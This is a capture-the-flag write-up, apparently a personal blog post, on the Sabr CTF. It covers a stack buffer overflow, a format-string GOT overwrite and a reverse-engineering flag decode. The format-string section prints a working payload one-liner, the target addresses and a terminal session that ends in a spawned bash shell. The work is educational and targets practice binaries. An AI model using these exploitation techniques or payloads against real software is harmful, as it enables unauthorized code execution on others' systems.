0x007fffffffde90β+0x0038: 0x00000061616179 ("yaaa"?)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
0x401277 call 0x4010d0 <gets@plt>
0x40127c mov eax, 0x0
0x401281 leave
β 0x401282 ret
[!] Cannot disassemble from $PC
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[#0] Id 1, Name: "0v3reZ", stopped 0x401282 in ?? (), reason: SIGSEGV
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[#0] 0x401282 β ret
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Now we see that we are able to overwrite most of the registers with aabbcc*
Now lets get the first four byte of the rsp register in my case its βkaaaβ it should be the same for you i guess
After getting that we then do cyclic -l kaaa
and its output is 40 that means the offset is 40.
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/0v3reZ]
ββ$ cyclic -l kaaa
40
Now that we have the offset, lets get the memory address we want to return to and obviously its the /bin/sh address since that will give us shell.
Using ghidra we can see the address by checking the function FUN_004011d6
Address = 0x4011de
Now I made an exploit to run the binary and exploit it hereβs my script Exploit
Then on running it
It worked on the remote server also
Flag: sabr{m3m0ry_c0rrup710n_iz_fUNNNNNNNNNNNN}
fsbeZ:
I donβt have the images cause the ctfβs is over and i didnβt take capture while i was doing it
But still I do have the binary stored in my pc
Now this is a binary that is vulnerable to format string it was also clearly indicated in the description of the task
But this took my time to solve cause I am not experienced in binary exploitation but after few days of research I was able to solve it and also got first blood π
So lets start then
After downloading the binary the first thing to check is the protection enabled
So the basic checks is by using checksec command which should i think come installed when you download pwntools library
Now lets check what kind of binary weβre dealing it first
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/fsbeZ]
ββ$ file fsbeZ
fsbeZ: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a0cb767c851f8f64c079def426155094559930a9, for GNU/Linux 3.2.0, stripped
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/fsbeZ]
ββ$ checksec fsbeZ
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/CTF/Sabr/pwn/fsbeZ/fsbeZ'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We are dealing with a 32BITS
binary which is DYNAMICALLY LINKED
, STRIPPED
(meaning we wonβt be able to see the real function names), has PARTIAL RELRO
, has STACK
enabled (so if we are to get a buffer overflow and want to jump to another address we will be stopped by stack protector), NX
enabled ( we canβt put shellcode in the stack and execute it) and lastly has no PIE
( meaning the base address from when the file is run will always be the same )
Now lets do run check to know what the binary requires and what it does
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/fsbeZ]
ββ$ ./fsbeZ
βββββββββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββ ββββββββββ βββββββββββ βββββββ βββββββ
βββββββ βββββββββββ βββββββββββ βββββββ βββββββ
ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ ββββββββββ ββββββββββ ββββββββββ βββββββββββ
fsb: hello
hello
We see that it justs takes in our input then print it out back
Now I then decompiled the binary using ghidra
Function FUN_08049250
void FUN_08049250(void)
{
int iVar1;
undefined4 *puVar2;
int in_GS_OFFSET;
undefined4 local_94;
undefined4 local_90 [31];
undefined4 local_14;
undefined *puStack16;
puStack16 = &stack0x00000004;
local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
local_94 = 0;
puVar2 = local_90;
for (iVar1 = 0x1f; iVar1 != 0; iVar1 = iVar1 + -1) {
*puVar2 = 0;
puVar2 = puVar2 + 1;
}
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
alarm(0x3c);
FUN_0804921b();
printf("fsb: ");
fgets((char *)&local_94,0x80,stdin);
printf((char *)&local_94);
/* WARNING: Subroutine does not return */
exit(0);
}
Function FUN_080491e6
void FUN_080491e6(void)
{
int iVar1;
int in_GS_OFFSET;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
system("/bin/bash");
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
So the first function which is likely going to be the main takes in user input and prints it out back
Thereβs no any form of buffer overflow cause it used fget to receive user input
But whereas it uses printf without specifying the format and prints out the input we give
The obvious thing to do is to call the /bin/bash function
But thereβs no buffer overflow so we canβt overwrite return address to call /bin/bash but instead we can overwrite the Global Offset Table (GOT) address for exit to call /bin/bash
So what GOT does is that it stores pointers to libc function or any other external libs and therefore when a binary wants to call a function it looks into the got entry to find the pointer to that
Since PIE is not enabled and we dont have full relro we know where the got lives and we can write there
Therefore when you overwrite whatβs in the got for exit() you can make the process jump to that pointer when exit is called
And why I used want to overwrite exit() is because from the decompiled code its basically useless there instead of overwriting printf we can take advantage of the function that doesnβt really do anything useful for us
Now lets get to the exploitation part
Firstly we need to get the offset i.e the address where the input is being stored in the stack
A fuzzing script can be used but while i tried solving it i got the offset manually
By giving it this input AAAA%1$p
but i was incrementing the value by +1
So at offset 7 we see that the result being printed out is hex of Aβs meaning that our input is being stored at the 7th parameter on the stack
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/fsbeZ]
ββ$ ./fsbeZ
βββββββββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββ ββββββββββ βββββββββββ βββββββ βββββββ
βββββββ βββββββββββ βββββββββββ βββββββ βββββββ
ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ ββββββββββ ββββββββββ ββββββββββ βββββββββββ
fsb: AAAA%7$p
AAAA0x41414141
Now this are the steps I took in solving this challenge
- Find the address of β/bin/bashβ
- Find the address of exit() in GOT
- Find the offset of our string on the stack
- Write the proper exploit string
- Rewrite exploit using pwntools
At this moment we have the offset of our string on the stack which is 7
Now lets get the address of β/bin/bashβ and exit() in GOT
I used ghidra to get them
080491fa 68 08 a0 PUSH s_/bin/bash_0804a008 = "/bin/bash"
04 08
080491ff e8 9c fe CALL <EXTERNAL>::system int system(char * __command)
ff ff
Now to get the address for exit() in GOT we need to navigate to the got.plt section of the binary
//
// .got.plt
// SHT_PROGBITS [0x804c000 - 0x804c02f]
// ram:0804c000-ram:0804c02f
//
__DT_PLTGOT XREF[2]: 0804bf80(*),
_elfSectionHeaders::0000037c(*)
0804c000 14 bf 04 08 addr _DYNAMIC
PTR_0804c004 XREF[1]: FUN_08049030:08049030(R)
0804c004 00 00 00 00 addr 00000000
PTR_0804c008 XREF[1]: FUN_08049030:08049036
0804c008 00 00 00 00 addr 00000000
PTR___libc_start_main_0804c00c XREF[1]: __libc_start_main:08049040
0804c00c 00 d0 04 08 addr <EXTERNAL>::__libc_start_main = ??
PTR_printf_0804c010 XREF[1]: printf:08049050
0804c010 04 d0 04 08 addr <EXTERNAL>::printf = ??
PTR_fgets_0804c014 XREF[1]: fgets:08049060
0804c014 08 d0 04 08 addr <EXTERNAL>::fgets = ??
PTR_alarm_0804c018 XREF[1]: alarm:08049070
0804c018 0c d0 04 08 addr <EXTERNAL>::alarm = ??
PTR___stack_chk_fail_0804c01c XREF[1]: __stack_chk_fail:08049080
0804c01c 10 d0 04 08 addr <EXTERNAL>::__stack_chk_fail = ??
PTR_puts_0804c020 XREF[1]: puts:08049090
0804c020 14 d0 04 08 addr <EXTERNAL>::puts = ??
PTR_system_0804c024 XREF[1]: system:080490a0
0804c024 18 d0 04 08 addr <EXTERNAL>::system = ??
PTR_exit_0804c028 XREF[1]: exit:080490b0
0804c028 20 d0 04 08 addr <EXTERNAL>::exit = ??
PTR_setvbuf_0804c02c XREF[1]: setvbuf:080490c0
0804c02c 24 d0 04 08 addr <EXTERNAL>::setvbuf = ??
Now we have the neccessary addresses
- Address of shell (β/bin/bashβ) = 080491fa
- Address of exit() GOT = 0804c028
- Offset of string on stack = 7
Now the payload creation:
Iβll write 080491fa (β/bin/bashβ) to overwrite the value of exit() 0804c028
Hereβs the resource which helped me Resouce
Solve script available here Exploit
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/fsbeZ]
ββ$ python -c 'print "\x2a\xc0\x04\x08\x28\xc0\x04\x08%2044x%7$hn%35318x%8$hn"' > payload
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/fsbeZ]
ββ$ cat payload
*(%2044x%7$hn%35318x%8$hn
Now to run it we canβt do something like ./fsbeZ < payload
it wonβt work
So instead lets run it this way
(cat payload; cat) | ./fsbeZ
Now on running the payload on the binary it gives us a bash shell xD
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/fsbeZ]
ββ$ (cat payload; cat) | ./fsbeZ
βββββββββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββ ββββββββββ βββββββββββ βββββββ βββββββ
βββββββ βββββββββββ βββββββββββ βββββββ βββββββ
ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ ββββββββββ ββββββββββ ββββββββββ βββββββββββ
fsb: *(
f7e1d620
ls
exploit.py fsbeZ libc.so.6 payload
id
uid=1000(mark) gid=1000(mark) groups=1000(mark),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),137(scanner),142(kaboxer)
ls -al
total 2264
drwxr-xr-x 2 mark mark 4096 Jan 16 22:08 .
drwxr-xr-x 8 mark mark 4096 Jan 14 13:14 ..
-rw-r--r-- 1 mark mark 395 Jan 15 04:20 exploit.py
-rwxr-xr-x 1 mark mark 13708 Jan 10 14:30 fsbeZ
-rw-r--r-- 1 mark mark 2280756 Jan 10 14:26 libc.so.6
-rw-r--r-- 1 mark mark 32 Jan 16 22:08 payload
-rw-r--r-- 1 mark mark 1024 Jan 15 00:38 .testexploit.py.swp
And after running the exploit code we get shell xD
Reverse Engineering Category
Bandit:
So I downloaded the file to my machine to analyze it.
It just shows a banner then takes in our input and then prints nope.
So next thing I did was to open it up in ghidra to see whats happening.
Now lets look at the main function.
We see that there are hexadecimal values stored in local_30,local_28,local_20,local_1e.
undefined8 main(void)
{
int iVar1;
ushort **ppuVar2;
undefined8 uVar3;
long in_FS_OFFSET;
int local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined2 local_20;
undefined local_1e;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
banner();
local_40 = 0;
local_38 = 0x6e65677b656f6e66;
local_30 = 0x6e71616e635f7566;
local_28 = 0x68705f72656e5f66;
local_20 = 0x7267;
local_1e = 0x7d;
do {
iVar1 = getchar();
if (iVar1 == -1) goto LAB_004012f4;
ppuVar2 = __ctype_b_loc();
if (((*ppuVar2)[iVar1] & 0x400) == 0) {
if (iVar1 != *(char *)((long)&local_38 + (long)local_40)) {
puts("Nope!\n");
uVar3 = 0xffffffff;
goto LAB_004012f9;
}
}
else {
iVar1 = tolower(iVar1);
if ((iVar1 + -0x54) % 0x1a + 0x61 != (int)*(char *)((long)&local_38 + (long)local_40)) {
puts("Nope!\n");
uVar3 = 0xffffffff;
goto LAB_004012f9;
}
}
local_40 = local_40 + 1;
} while (local_40 < 0x1b);
puts("You found the flag!\n");
LAB_004012f4:
uVar3 = 0;
LAB_004012f9:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;
}
Now decoding that using xxd I got
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/re/bandit]
ββ$ echo 0x6e65677b656f6e660x6e71616e635f75660x68705f72656e5f660x72670x7d | xxd -r -p
neg{eonfnqanc_ufhp_ren_frg}
But now its encoded but not just encoded it doesnβt seems arranged.
What I then did was that i assumed that since the flag format is sabr{
which has 4 bytes before {
I then did something quite silly but it worked only that it took some minutes.
I made a python script which would print out all the alphabets in the string then return the output as a list Rearrange
#!/usr/bin/python3
string = 'neg{eonfnqanc_ufhp_ren_frg}'
char_list = list(string)
print(char_list)
Now lets run it
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/re/bandit]
ββ$ python3 rearrang.py
['n', 'e', 'g', '{', 'e', 'o', 'n', 'f', 'n', 'q', 'a', 'n', 'c', '_', 'u', 'f', 'h', 'p', '_', 'r', 'e', 'n', '_', 'f', 'r', 'g', '}']
Now what I did then was that since I didnβt really know the encoding used to encode the string but I remembered i saw some sort of operation performed in the decompiled code
Hereβs the mathematical operation used in the binary
if ((iVar1 + -0x54) % 0x1a + 0x61 != (int)*(char *)((long)&local_38 + (long)local_40))
which is the same as (x -84) % 26 + 97
where x represents each character
So I then tried using a python script which will find each value of the encoded characters using the mathematical operation above neglecting characters β{β, β_β and β}β
Hereβs the script Decode
array = ['n', 'e', 'g', '{', 'e', 'o', 'n', 'f', 'n', 'q', 'a', 'n', 'c', '_', 'u', 'f', 'h', 'p', '_', 'r', 'e', 'n', '_', 'f', 'r', 'g', '}']
result = []
for char in array:
if char in ('{', '_', '}'):
result.append(char)
else:
ascii_val = ord(char)
decoded = (ascii_val - 84) % 26 + 97
result.append(chr(decoded))
print(''.join(result))
On running it I got
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/re/bandit]
ββ$ python3 decode.py
art{rbasadnap_hsuc_era_set}
Now the wording looks more ok but one problem its scattered, so this is where it took my time lol π
I had to rearrang it but since I know that the first four bytes would be sabr
and the 5th byte will be {
also the flag will also end with }
And those underscore would be between 3 words _
so the flag format should be like this sabr{****_****_****_****}
I just had to keep on trying each alphabet manually and a script would have been better in this case but i couldnβt find my way out
So after all the struggle I ended up with:
art{rbasadnap_hsuc_era_set}
sabr{**_**_**_**}
baatdnaphsuceraset
abr{**_**_**_**}
sabr{trash_pandas_are_cute}
Flag: sabr{trash_pandas_are_cute}
Overview:
-
This CTF was a really nice challenge which made me learn further things and not give up even though it was really painful πππ
-
Kudos to the organizers for hosting the ctf
- So after all the struggle I managed to place 1st in the leaderboard scoring 1301 points overall π
- The username I used for the ctf is
PlsHackMe
π
Please If I made any sort of mistake be sure to DM me on discord Hack.You#9120